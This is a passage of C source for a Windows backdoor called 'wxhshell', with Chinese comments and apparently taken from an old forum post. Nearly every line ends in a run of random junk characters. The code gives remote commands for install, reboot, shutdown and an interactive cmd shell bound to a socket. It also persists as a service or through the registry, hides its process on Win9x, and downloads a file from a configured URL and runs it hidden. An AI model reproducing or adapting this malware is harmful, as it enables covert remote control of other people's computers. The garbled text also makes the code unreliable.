  // 帮助 X$PS(_M  
  case '?': { K_FBy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G "c/a8  
    break; e~*S4dKR  
  } YiO3<}Uf  
  // 安装 '1lx{U zD  
  case 'i': { ]Qc: Zy3  
    if(Install()) @@; 1%z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qv74?B@  
    else &#%D.@L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y "<JE<X  
    break; ~(M*6b  
    } R<t&F\>  
  // 卸载 )biX8yq hR  
  case 'r': { EtPgzw[#c9  
    if(Uninstall()) U <|B7t4M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )y5iH){ !  
    else k:W=5{[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <)"iL4 kDI  
    break; NCp%sGBmG  
    } rC~_:uXtE  
  // 显示 wxhshell 所在路径 5,Qy/t}K  
  case 'p': {  -\5[Nq{N  
    char svExeFile[MAX_PATH]; YALyZ.d  
    strcpy(svExeFile,"\n\r"); e-1;dX HL  
      strcat(svExeFile,ExeFile); ;k-g _{M  
        send(wsh,svExeFile,strlen(svExeFile),0); L/c4"f|.*v  
    break; P: jDB{  
    } '! #On/  
  // 重启 |yuGK  
  case 'b': { ]Pz|Oi+]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z+OAs0}mV  
    if(Boot(REBOOT)) #vnefIcBf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); & %@/Dwr  
    else { ?]759,Q3L  
    closesocket(wsh); ccIDMJ=2  
    ExitThread(0); {H/8#y4qp&  
    } PV5-^Y"v  
    break; PEK.Kt\M  
    } xzuPie\  
  // 关机 't||F1X~J  
  case 'd': { ))8Emk^Q{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )*"T  
    if(Boot(SHUTDOWN)) &Xj{:s#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kq-mr  
    else { u Zo]8mV  
    closesocket(wsh); i7Y s_8A"9  
    ExitThread(0); (jD'+ "?  
    } //ne']L  
    break; 7O;BS}Lv=  
    } kxt\{iy4  
  // 获取shell m9\@kA  
  case 's': { L{+&z7M  
    CmdShell(wsh); U^vUdM"  
    closesocket(wsh); b|\{ !N]  
    ExitThread(0); P2A]qX  
    break; (CKhY~,/u  
  } m70`{-O  
  // 退出 }Rf}NWU)|  
  case 'x': { 5?#OR!N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G_4K+ -K  
    CloseIt(wsh); ~*,Ddwr0a  
    break; __oY:d(~  
    } 2tg/S=t}  
  // 离开 :pL1F)-*  
  case 'q': { )3D+gu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C}M0XW  
    closesocket(wsh); yBXkN&1=%;  
    WSACleanup(); s= -WB0E  
    exit(1); e>ZbZy?  
    break; 0{^l2?mgSb  
        } rw40<SS"Z  
  } Pl>nd)i`  
  } |ec(z  
T6/$pJl  
  // 提示信息 + Tgy,oD0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H`+]dXLB  
} ]*kP>  
  } k=ior  
 9^b7jw  
  return; b7>-aem@I  
} ^-c si   
FEm1^X#]  
// shell模块句柄 h^[pp c{Z  
int CmdShell(SOCKET sock) P@! Q1pr  
{ sTYuwna~   
STARTUPINFO si; ~,M;+T}[r  
ZeroMemory(&si,sizeof(si)); MZ|c7f&`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P}.yEta  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SzgY2+Qq  
PROCESS_INFORMATION ProcessInfo; @'NaA SB  
char cmdline[]="cmd"; Bcd0   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zn?a|kt  
  return 0; LNyL>VHkK  
} :`Zl\!]E`o  
{_k!!p6  
// 自身启动模式 nfd?@34"A2  
int StartFromService(void) ,pGCgOG#}c  
{ wzLiVe-  
typedef struct u[6`Jr~  
{ 8' g*}[  
  DWORD ExitStatus; [<3Q$*Ew  
  DWORD PebBaseAddress; %8`1Li6g  
  DWORD AffinityMask; D.oS8'   
  DWORD BasePriority; MRl*r K  
  ULONG UniqueProcessId; ke;*uS  
  ULONG InheritedFromUniqueProcessId; XM5;AcD  
}   PROCESS_BASIC_INFORMATION; 5sV/N] !  
_>:=<xyOq  
PROCNTQSIP NtQueryInformationProcess; @u'27c_<d3  
e&a[k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nF!_q;+Vp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zf!\wY"`  
t2-zJJf8  
  HANDLE             hProcess; {dSU \':  
  PROCESS_BASIC_INFORMATION pbi; % &Q7;?  
2zrWR%B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9|kEq>d  
  if(NULL == hInst ) return 0; Wp9 2sm+  
?\p%Mx?   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LXLIos55S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %>z8:oJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Uub%s`O  
.1?i'8TF  
  if (!NtQueryInformationProcess) return 0; '>WuukC  
"j@IRuH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R7;rBEt8  
  if(!hProcess) return 0; G>{:D'#  
Y| N vBr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a!J ow?(  
q ]R @:a/  
  CloseHandle(hProcess); hu*>B  
n~>CE"q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !m O] zn  
if(hProcess==NULL) return 0; h*X%:UbW  
KL\=:iWA  
HMODULE hMod; = ]HJa  
char procName[255]; I8oKa$RF  
unsigned long cbNeeded; .$s|T  
PNxO \Rc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {aa,#B] i  
Pv$"DEXA2  
  CloseHandle(hProcess); .+~kJ0~Y  
&\D<n; 3  
if(strstr(procName,"services")) return 1; // 以服务启动 8P y_Y>  
ghd[G}  
  return 0; // 注册表启动 FZ.Yn   
} i@?<]n  
f7AJSHe  
// 主模块 iW%0pLn  
int StartWxhshell(LPSTR lpCmdLine) l{SPV8[i  
{ u2m{Yx|  
  SOCKET wsl; Hw.@Le>  
BOOL val=TRUE; JRs[%w`kD  
  int port=0; #UnO~IE.m$  
  struct sockaddr_in door; 7(iRz  
 Jy[8,X  
  if(wscfg.ws_autoins) Install(); ZaV66Y>  
8}b[Q/h!  
port=atoi(lpCmdLine); )s[S.`S Tz  
Q 6<Uui w  
if(port<=0) port=wscfg.ws_port; >bP7}T  
:v ~q  
  WSADATA data; bH]!~[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (j Q6~1  
EF{'J8AQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p%tg->#L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n& &U9sf?  
  door.sin_family = AF_INET; L. ?dI82c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fd.d(  
  door.sin_port = htons(port); Olh-(u:9+O  
nM}`H'0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W%QtJB1)  
closesocket(wsl); nezbmpL4  
return 1; 9 9BK/>R  
} ]KT,s].  
|VF"Cjw?  
  if(listen(wsl,2) == INVALID_SOCKET) { md LJ,w?{  
closesocket(wsl); OvG|=  
return 1; \`# 0,pLr  
} q9]L!V 9Rv  
  Wxhshell(wsl); -{mq\GvGn  
  WSACleanup(); HaUo+,=  
zhL,BTH  
return 0; u6d~d\  
(ZsR=:9(  
} {-qTU6  
}-iOYSn  
// 以NT服务方式启动 sUMn (@r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xh!Pg)|E  
{ Lwk-  
DWORD   status = 0; >:|q J$J.  
  DWORD   specificError = 0xfffffff; Uwa1)Lwn  
|/Z)?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DlO;EH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EOC"a}Cq-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZM!~M>B9R  
  serviceStatus.dwWin32ExitCode     = 0; wB"Gw` D  
  serviceStatus.dwServiceSpecificExitCode = 0; n/D]r  
  serviceStatus.dwCheckPoint       = 0; z|H>jit+  
  serviceStatus.dwWaitHint       = 0; 9x,+G['Zt  
H4jqF~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f d5~'2  
  if (hServiceStatusHandle==0) return; ~Wv?p4  
;O>fy :$'  
status = GetLastError(); "KwKO8f  
  if (status!=NO_ERROR) ?yK\L-ad  
{ px@\b]/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `;@4f |N9  
    serviceStatus.dwCheckPoint       = 0; e vuP4-[y  
    serviceStatus.dwWaitHint       = 0; :LG%8Z{R  
    serviceStatus.dwWin32ExitCode     = status; t68RWzqiG[  
    serviceStatus.dwServiceSpecificExitCode = specificError; #m>mYp8E.5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3}Qh`+Yj]  
    return; c @R6p+  
  } ?Q2pD!L{  
U)8]pUI+/P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _TF>c:m3  
  serviceStatus.dwCheckPoint       = 0; *6tN o-)^  
  serviceStatus.dwWaitHint       = 0; 2oLa`33c1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t;3.;  
} c2/HY8ttRD  
g!ww;_  
// 处理NT服务事件,比如:启动、停止 @35 shLs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 566Qik w2  
{ K-3 _4As  
switch(fdwControl) P_U-R%f  
{ v!Z9T  
case SERVICE_CONTROL_STOP: {J$aA6t:"T  
  serviceStatus.dwWin32ExitCode = 0; @@jdF-Utj;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1S.~-K*X  
  serviceStatus.dwCheckPoint   = 0; (6nw8vQ  
  serviceStatus.dwWaitHint     = 0;  \Z':hw  
  { @Rm/g#!h"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -}@9lhS,  
  } 7}k8-:a%  
  return; 5mU_S\)4:z  
case SERVICE_CONTROL_PAUSE: CggEAi~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S J5kA`  
  break; e^yB9b  
case SERVICE_CONTROL_CONTINUE: +zsya4r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eAMT72_  
  break; @d\F; o<  
case SERVICE_CONTROL_INTERROGATE: I?QKd@  
  break; @zbXG_J  
}; h.*|4;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a0R]hENC  
} @_{"ho  
fvD wg  
// 标准应用程序主函数 N!AFsWV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U,'n}]=4A3  
{ ^;a[v^&9  
q`P:PRgM  
// 获取操作系统版本 kbY@Y,:w  
OsIsNt=GetOsVer(); E' Bt1 u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5WUrRQ?E  
+-hmITJ v  
  // 从命令行安装 {% P;O ?  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5j]%@]M$Z  
VI?[8@*Z  
  // 下载执行文件 utr_fFu  
if(wscfg.ws_downexe) { L" o6)N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :|a[6Uwl\V  
  WinExec(wscfg.ws_filenam,SW_HIDE); gP3[=a"\  
} tVOx  
J ?&9ofj&  
if(!OsIsNt) { [Mi~4b  
// 如果时win9x,隐藏进程并且设置为注册表启动 <x/&Ml+  
HideProc(); 5GKz@as8  
StartWxhshell(lpCmdLine); >2a~hW|,  
} /W9=7&R0  
else sdb#K?l  
  if(StartFromService()) &b_duWs  
  // 以服务方式启动 PJ'l:IU  
  StartServiceCtrlDispatcher(DispatchTable); -a3C3!!  
else Rh=h{O  
  // 普通方式启动 KLX>QR@  
  StartWxhshell(lpCmdLine); =6Z 1yw7s  
@c.pOX[]m,  
return 0; PYZ8@G  
}
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只看该作者 1 发表于: 2006-10-10
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